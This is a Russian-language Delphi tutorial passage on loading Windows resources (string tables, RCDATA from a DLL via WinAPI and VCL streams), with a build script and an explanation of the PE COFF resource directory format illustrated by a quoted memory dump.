Компилируем скрипт `#_Msg.RC` в файл `#_Msg.Res`; компилируем и линкуем проект `Proj_L.Dpr`. Получаем файл `Proj_L.Dll`.
rem –- may be used BRC32 or BRCC32 rem c:\del3\bin\brc32 –r #_msg.rc c:\del3\bin\brcc32 #_msg.rc c:\del3\bin\dcc32 /b proj_l.dpr pauseФайл `Proj.Dpr`
{$APPTYPE GUI}{$D+,O-,S-,R-,I+,A+,G+}{$IfOpt D-} {$O+} {$EndIf}program Proj;{$IfNDef WIN32} error: it works only under Win32{$EndIf}uses Windows, SysUtils, Classes;{//////////////////////////////////////////////}procedure i_MsgBox( const ACap,AStr:String );{ service routine: simple message-box }begin Windows.MessageBox( 0, pChar(AStr), pChar(ACap), MB_OK or MB_ICONINFORMATION );end;{///// TestSList ////}procedure TestSList;{ load strings from ini-file via tStringList }const cFName = '#_MSG.INI';var qSList : tStringList;begin qSList := tStringList.Create; with qSList do try LoadFromFile( ExtractFilePath(ParamStr(0))+cFName ); i_MsgBox( 'strings collection via VCL:', Trim(Values['msghello'])+#13+Trim(Values['MSGBYE']) ); finally Free; end;end;{//// TestBuiltInStrRes ////}RESOURCESTRING sMsgHello = 'ЯВЕРТЫяверты'; sMsgBye = 'явертыЯВЕРТЫ';procedure TestBuiltInStrRes;{ load strings from resources via Delphi`s Linker }begin i_MsgBox( 'built-in string resources:', sMsgHello+#13+sMsgBye );end;{//////////////////////////////////////////////}type tFH_Method = procedure( AFHandle:tHandle );{ `AFHandle` must be a handle of instance of image (of memory-map) of a PE-file (EXE or DLL) }procedure i_Call_FH_Method( AProc:tFH_Method );{ it is wrapper to load and free a instance of binary file with resource; also it calls to "AProc()" with given instance-handle }const cLibName = 'PROJ_L.DLL';var qFHandle : tHandle;begin qFHandle := Windows.LoadLibrary( pChar(ExtractFilePath(ParamStr(0))+cLibName) ); if qFHandle=0 then i_MsgBox( 'Error loading library', Format('Code# %xh',[Windows.GetLastError]) ) else try AProc( qFHandle ); finally Windows.FreeLibrary( qFHandle ); end;end;{//// TestBinRes_WinAPI ////}procedure TestBinRes_WinAPI( AFHandle:tHandle );{ loading binary resource via usual windows-API }var qResH, qResInfoH : tHandle;begin qResInfoH := Windows.FindResourceEx( AFHandle , RT_RCDATA, 'RC1', 0 ); qResH := Windows.LoadResource( AFHandle, qResInfoH ); try i_MsgBox( 'binary resource (Win API):', pChar(Windows.LockResource(qResH)) ); finally Windows.FreeResource( qResH ); end;end;{//// TestBinRes_VCLStream ////}procedure TestBinRes_VCLStream( AFHandle:tHandle );{ loading binary resource via VCL`s stream }var qResStream : tResourceStream;begin qResStream := tResourceStream.Create( AFHandle, 'RC1', RT_RCDATA ); try i_MsgBox( 'binary resource (VCL stream):', pChar(qResStream.Memory) ); finally qResStream.Free; end;end;{//// TestStrRes_WinAPI ////}procedure TestStrRes_WinAPI( AFHandle:tHandle );{ loading string resource via usual windows-API }const cBufSize = 512;var qBuf : array[0..1,0..cBufSize-1]of Char;begin Windows.LoadStringA( AFHandle, 1000, qBuf[0], cBufSize ); Windows.LoadStringA( AFHandle, 1001, qBuf[1], cBufSize ); i_MsgBox( 'string resources (Win API):', StrPas(qBuf[0])+#13+StrPas(qBuf[1]) );end;BEGIN TestSList; TestBuiltInStrRes; i_Call_FH_Method( TestBinRes_WinAPI ); i_Call_FH_Method( TestBinRes_VCLStream ); i_Call_FH_Method( TestStrRes_WinAPI );END.Замечания:
• Rесурсы частично вынесены во внешнюю DLL только для демонстрации, поскольку большинство вопросов в конференции подразумевает именно такое их использование.
• Если ресурсы слинкованы не в отдельную DLL, а в исполняемый файл проекта, в параметре AFHandle надо везде передавать `0` или значение переменной System.HInstance.
• Вместо функции Windows.FindResource() я предпочитаю FindResourceEx() с лишним явным параметром — `LanguageId`. Дело в том, что первая не всегда находит ресурсы, сделанные борландовскими компиляторами — семантика LanguageId по умолчанию определена MS не совсем однозначно.
• Для однозначности, я явно указал имя функции Windows.LoadStringA(). В NT работает еще функция LoadStringW(), которая возвращает строки UNICODE. В Win95 LoadStringW() возвращает код ошибки `not implemented`.
Внутренний формат ресурсов Windows
В каталоге DELPHI\DEMOS\RESXPLOR есть пример работы с ресурсами Windows на самом `фундаментальном` уровне — непосредствено с форматом PE COFF (Portable Executable Common Object File Format) для Win32. Данный раздел написан, в основном, для тех, кто захочет разобраться в этом стандартном примере Delphi.
Сами по себе ресурсы — индексированный набор данных с записями переменной длины. Чтобы конкретную запись ресурса можно было найти, у нее есть один из двух идентификаторов — имя (строка символов UNICODE) или целое число. Целыми числами идентифицируются, например, каталоги стандартных типов ресурсов и строки в таблицах. Большинство записей ресурсов стандартных типов идентифицируются именами. Практически, в именах ресурсов разумно использовать только подмножетсво стандартных символов ASCII (коды от 0 до 255). Описание стандартных типов ресурсов Windows можно посмотреть в on-line help`е любой IDE C или Delphi. Любопытно, что способ идентификации ресурса ( целое число или ссылка на имя ) специфицирован, скорее, не на уровне стандарта, а на уровне принятых соглашений. Для поиска ресурса мы, в общем случае, задаем три параметра:
• Тип — один из стандартных кодов типа ресурса. В вызовах API это может быть либо адресом строки, содержащей одно из стандартных имен, либо — одна из констант RT_xxx из DELPHI\SOURCE\RTL\WIN\WINDOWS.PAS.
• Идентификатор. В зависимости от типа ресурса, это может быть целое число или имя.
• Язык ресурса. Кодируется целым числом.
Формат ресурсов PE COFF ориентирован чтобы:
– максимально быстро находить нужный ресурс по указаным трем параметрам,
– расположить ресурсы достаточно компактно,
– переносить скомпилированные ресурсы между процессорами с разными правилами адресации.
Далее используется термин RVA (relative virtual address), я его поясню. Все адреса в защищенных многозадачных системах (не только на x286..586) обычно делаются `виртуальными`: То есть, пользовательское приложение не должно иметь шанс узнать что-либо о физических адресах — иначе оно теоретически может разрушить любую защиту операционной системы. В Windows строгой защиты в этом смысле нет, но есть еще одна причина `виртуальности` адресов — динамическая загрузка/выгрузка данных из ОЗУ на диск для организации виртуальной памяти. Процессор аппаратно, `на лету`, транслирует виртуальные адреся в физические по таблицам, созданным ядром операционной системы.
Теперь о слове `relative`. Операционной системе, по большому счету, без разницы, какой именно виртуальный адрес дать первому байту образа исполняемого файла в ОЗУ. А линкеру и самой программе, в ряде случаев, удобнее работать с конкретным значением. Оно называется `ImageBase`; линкер записывает его в заголовке PE-файла. По техническим причинам, оно не может быть произвольным для Windows-программ. В Delphi есть директива `{$ImageBase …}`. Так вот, RVA объекта – это его смещение относительно значения `ImageBase`. Обычный адрес объекта (он, кстати, тоже виртуальный) есть сумма значений глобальной переменной `ImageBase` и `RVA` данного объекта.
В тексте использована ассемблерная мнемоника: `DD` и `DW` (Define Double и Define Word), что означает, соответственно, 32– и 16-разрядное слово. Символ `|` означает `или`, `либо`.
Описание формата ресурсов в MS PE COFF.
Я делаю сокращенное изложение фрагмента документации PE COFF. Я полагаю, этого более-менее достаточно, чтобы разобраться, при желании, с текстом примера Delphi. Файл PE.TXT (author Micheal J. O'Leary) взят из документации Microsoft C. Он же входит в MS Software Developers Kit (SDK) и в комплект поставки большинства компиляторов C для Win32. Если Вам интересно положение корневого каталога ресурсов в заголовке PE COFF или более подробный формат заголовка – можно смотреть исходные тексты проекта проекта RSEXPLOR или, разумеется, сам первоисточник — PE.TXT
Ресурсы индексированы как многоуровневое двоичное дерево. Технологически возможно 2**31 уровней, но в Windows стандартно используются только три: первый — TYPE (тип), далее — NAME (имя), далее — LANGUAGE (язык). Ресурсы должны быть отсортированы по определенным правилам – для ускорения поиска.
Типичное расположение ресурсов в файле: сначала лежит `RESOURCE DIRECTORY` (каталог/каталоги ресурсов), затем – `RESOURCE DATA` (собственно данные ресурсов).
Каталог ресурсов довольно похож, по структуре, на каталоги дисков. Он содержит записи (`DIR ENTRIES` – см. далее), которые указывают либо на ресурсы, либо на другие каталоги (точнее – подкаталоги) ресурсов. В отличие от дисков, сами данные не разносятся по кластерам, а наоборот – их стараются плотнее прижать друг к другу, поскольку никто не собирается вставлять туда дополнительные данные после сборки (линковки) исполняемого файла.
Каталог ресурсов начинается с заголовка (четыре 32-битных слова):
DD RESOURCE FLAGSDD TIME/DATE STAMPDW MAJOR VERSION, DW MINOR VERSIONDW # NAME ENTRY, DW # ID ENTRYдекларация в RXTypes.Pas:
IMAGE_RESOURCE_DIRECTORY = packed record Characteristics : DWORD; TimeDateStamp : DWORD; MajorVersion : WORD; MinorVersion : WORD; NumberOfNamedEntries : WORD; NumberOfIdEntries : WORD;end;Здесь важны два поля: `# NAME ENTRY` — число точек входа, имеющих имена, и `# ID ENTRY` — число точек входа, имеющих вместо имен целочисленные идентификаторы.
За заголовком следует массив из записей `RESOURCE DIR ENTRIES` (точек входа каталога). Там лежат `# NAME ENTRY`+ `# ID ENTRY` записей типа `DIR ENTRY`. Формат записи `DIR ENTRY` — два 32-битных слова:
DD NAME RVA | INTEGER IDDD DATA ENTRY RVA | SUBDIR RVAдекларация в RXTypes.Pas:
IMAGE_RESOURCE_DIRECTORY_ENTRY = packed record Name: DWORD; // Or ID: Word (Union) OffsetToData: DWORD;end;Первое поле содержит либо `NAME RVA` — адрес строки (UNICODE) с именем, либо — `INTEGER ID` – целочисленный идентификатор. `INTEGER ID` может быть, например, одним из стандартных кодов типа ресурса или заданным пользователем кодом строки в таблице строк.
Самый старший бит второго поля (31-й бит) называется `Escape-флагом`. Если он установлен в `1`, считается что данная `DIR ENTRY` — ссылка на другой подкаталог ресурсов. Если сброшен в `0` — данная запись ссылка на данные ресурса. Понятно, при вычислении адреса этот бит всегда должен считаться `0`.
Строка, на которую указывает `NAME RVA`, очень похожа на паскалевскую short-string, только вместо байтов она состоит из 16-битные слов. Самое первое слово – длина строки, за ним лежат 16-битные символы UNICODE. Физически линкер кладет эти строки переменной длиины между каталогами и собственно данными ресурсов.
Понятно, что `SUBDIR RVA` указывает на совершенно аналогичную таблицу подкаталога.
`DATA ENTRY RVA` указывает на запись `RESOURCE DATA ENTRY` такого вида:
DD DATA RVADD SIZEDD CODEPAGEDD RESERVEDдекларация в RXTypes.Pas:
IMAGE_RESOURCE_DATA_ENTRY = packed record OffsetToData : DWORD; Size : DWORD; CodePage : DWORD; Reserved : DWORD;end;`DATA RVA` — адрес бинарных данных, `SIZE` — их размер. `CODEPAGE` (кодовая страницa) обычно имеет снысл только для строковых ресурсов. Оговаривается, что в Win32 это должна быть одна из стандартных страниц UNICODE. Сами бинарные данные могут жить либо прямо за полем `RESERVED`, либо где-то в другом месте — смотря куда линкер их положит.
Дамп памяти (взят из PE.TXT)
Далее я привожу целиком фрагмент файла PE.TXT. Это — конкретный пример размещения ресурсов с подробным дампом памяти.
The following is an example for an app. which wants to use the following data as resources:
TypeId# NameId# Language ID Resource Data00000001 00000001 0 0001000100000001 00000001 1 1001000100000001 00000002 0 0001000200000001 00000003 0 0001000300000002 00000001 0 0002000100000002 00000002 0 0002000200000002 00000003 0 0002000300000002 00000004 0 0002000400000009 00000001 0 0009000100000009 00000009 0 0009000900000009 00000009 1 1009000900000009 00000009 2 20090009Then the Resource Directory in the Portable format looks like:Offset Data0000: 00000000 00000000 00000000 00030000 (3 entries in this directory)0010: 00000001 80000028 (TypeId #1, Subdirectory at offset 0x28)0018: 00000002 80000050 (TypeId #2, Subdirectory at offset 0x50)0020: 00000009 80000080 (TypeId #9, Subdirectory at offset 0x80)0028: 00000000 00000000 00000000 00030000 (3 entries in this directory)0038: 00000001 800000A0 (NameId #1, Subdirectory at offset 0xA0)0040: 00000002 00000108 (NameId #2, data desc at offset 0x108)0048: 00000003 00000118 (NameId #3, data desc at offset 0x118)0050: 00000000 00000000 00000000 00040000 (4 entries in this directory)0060: 00000001 00000128 (NameId #1, data desc at offset 0x128)0068: 00000002 00000138 (NameId #2, data desc at offset 0x138)0070: 00000003 00000148 (NameId #3, data desc at offset 0x148)0078: 00000004 00000158 (NameId #4, data desc at offset 0x158)0080: 00000000 00000000 00000000 00020000 (2 entries in this directory)0090: 00000001 00000168 (NameId #1, data desc at offset 0x168)0098: 00000009 800000C0 (NameId #9, Subdirectory at offset 0xC0)00A0: 00000000 00000000 00000000 00020000 (2 entries in this directory)00B0: 00000000 000000E8 (Language ID 0, data desc at offset 0xE800B8: 00000001 000000F8 (Language ID 1, data desc at offset 0xF800C0: 00000000 00000000 00000000 00030000 (3 entries in this directory)00D0: 00000001 00000178 (Language ID 0, data desc at offset 0x17800D8: 00000001 00000188 (Language ID 1, data desc at offset 0x18800E0: 00000001 00000198 (Language ID 2, data desc at offset 0x19800E8: 000001A8 (At offset 0x1A8, for TypeId #1, NameId #1, Language id #000000004 (4 bytes of data)00000000 (codepage)00000000 (reserved)00F8: 000001AC (At offset 0x1AC, for TypeId #1, NameId #1, Language id #100000004 (4 bytes of data)00000000 (codepage)00000000 (reserved)0108: 000001B0 (At offset 0x1B0, for TypeId #1, NameId #2,00000004 (4 bytes of data)00000000 (codepage)00000000 (reserved)0118: 000001B4 (At offset 0x1B4, for TypeId #1, NameId #3,00000004 (4 bytes of data)00000000 (codepage)00000000 (reserved)0128: 000001B8 (At offset 0x1B8, for TypeId #2, NameId #1,00000004 (4 bytes of data)00000000 (codepage)00000000 (reserved)0138: 000001BC (At offset 0x1BC, for TypeId #2, NameId #2,00000004 (4 bytes of data)00000000 (codepage)00000000 (reserved)0148: 000001C0 (At offset 0x1C0, for TypeId #2, NameId #3,00000004 (4 bytes of data)00000000 (codepage)00000000 (reserved)0158: 000001C4 (At offset 0x1C4, for TypeId #2, NameId #4,00000004 (4 bytes of data)00000000 (codepage)00000000 (reserved)0168: 000001C8 (At offset 0x1C8, for TypeId #9, NameId #1,00000004 (4 bytes of data)00000000 (codepage)00000000 (reserved)0178: 000001CC (At offset 0x1CC, for TypeId #9, NameId #9, Language id #000000004 (4 bytes of data)00000000 (codepage)00000000 (reserved)0188: 000001D0 (At offset 0x1D0, for TypeId #9, NameId #9, Language id #100000004 (4 bytes of data)00000000 (codepage)00000000 (reserved)0198: 000001D4 (At offset 0x1D4, for TypeId #9, NameId #9, Language id #200000004 (4 bytes of data)00000000 (codepage)00000000 (reserved)And the data for the resources will look like:01A8: 0001000101AC: 1001000101B0: 0001000201B4: 0001000301B8: 0002000101BC: 0002000201C0: 0002000301C4: 0002000401C8: 0009000101CC: 0009000901D0: 1009000901D4: 20090009 
ТЕЛЕГРАМКанал с обзорами, анонсами новинок и книжными подборками
Книжный Вестник
Бот для удобного поиска книг (если не нашлось на сайте)
Поиск книг
Свежие любовные романы в удобных форматах
Любовные романы
О психологии, саморазвитии и личностном росте
Саморазвитие
Детективы и триллеры, все новинки
Детективы
Фантастика и фэнтези, все новинки
Фантастика
Отборные классические книги
Классика
ВКОНТАКТЕБиблиотека с любовными романами, которая наверняка придётся по вкусу женской части аудитории
Любовные романы
Библиотека с фантастикой и фэнтези, а также смежных жанров
Фантастика
Самые популярные книги в формате фб2
Топ фб2
книги